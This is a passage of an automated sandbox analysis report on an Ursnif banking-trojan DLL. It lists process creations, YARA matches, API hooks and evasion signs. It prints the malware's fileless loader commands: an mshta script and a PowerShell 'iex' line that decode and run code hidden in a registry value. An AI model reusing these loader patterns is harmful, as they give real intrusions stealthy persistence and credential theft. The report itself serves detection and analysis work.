Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001BAC LoadLibraryA,GetProcAddress,

0_2_10001BAC

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\2770174.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002120 push ecx; ret	0_2_10002129
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002173 push ecx; ret	0_2_10002183
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140AF6F push ecx; ret	0_2_0140AF7F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140ABC0 push ecx; ret	0_2_0140ABC9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140D2A8 pushad ; iretd	0_2_0140D2B1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140D2AC pushad ; iretd	0_2_0140D2B1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140D2B0 pushad ; iretd	0_2_0140D2B1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F0ABC0 push ecx; ret	2_2_00F0ABC9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F0AF6F push ecx; ret	2_2_00F0AF7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0463AF6F push ecx; ret	3_2_0463AF7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0463ABC0 push ecx; ret	3_2_0463ABC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0418AF6F push ecx; ret	5_2_0418AF7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0418ABC0 push ecx; ret	5_2_0418ABC9

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5288, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5292, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5324, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5276, type: MEMORY

Hooks registry keys query functions (used to hide registry keys)

Show sources

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW

Modifies the export address table of user mode modules (user mode EAT hooks)

Show sources

Source: explorer.exe

IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFA9B33521C

Modifies the import address table of user mode modules (user mode IAT hooks)

Show sources

Source: explorer.exe

EAT of a user mode module has changed: module: WININET.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFA9B335200

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3804

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5280	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5280	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2964	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5572	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001BAC LoadLibraryA,GetProcAddress,

0_2_10001BAC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>'

Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_01409135 cpuid

0_2_01409135

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001456 SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

0_2_10001456

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_01409135 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

0_2_01409135

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001F0E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_10001F0E

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5288, type: MEMORY
